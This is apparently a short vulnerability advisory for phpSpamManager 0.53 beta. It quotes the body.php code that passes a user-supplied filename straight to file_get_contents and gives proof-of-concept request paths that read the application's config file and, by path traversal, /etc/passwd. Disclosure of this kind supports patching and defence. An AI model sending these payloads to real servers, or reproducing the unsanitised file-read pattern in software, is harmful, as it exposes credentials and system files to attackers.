PHPSpamManager 0.53b - 'body.php' Remote File Disclosure

phpSpamManager 0.53 beta (body.php) Remote File Disclosure Vulnerability
D.Script : http://sourceforge.net/project/showfiles.php?group_id=141000
Vuln Code 
Ln 38 -> 47 : 
//get filename
     $okprint=false;
     $filename = $_REQUEST['filename']; <--- XxX
     if ($filename!='FILENAME')
     {
      debug_print("analysing " .$filename);
      //replace # by dots if necessary
      $filename = preg_replace("/#/",".",$filename);
$mailtext=file_get_contents($filename); <--- XxX
	 $email=new parseMail($mailtext); <--- XxX
POC :
/phpspammanager.0.53.dev/body.php?filename=include/config.inc.php
/phpspammanager.0.53.dev/body.php?filename=../../../../../../../../etc/passwd
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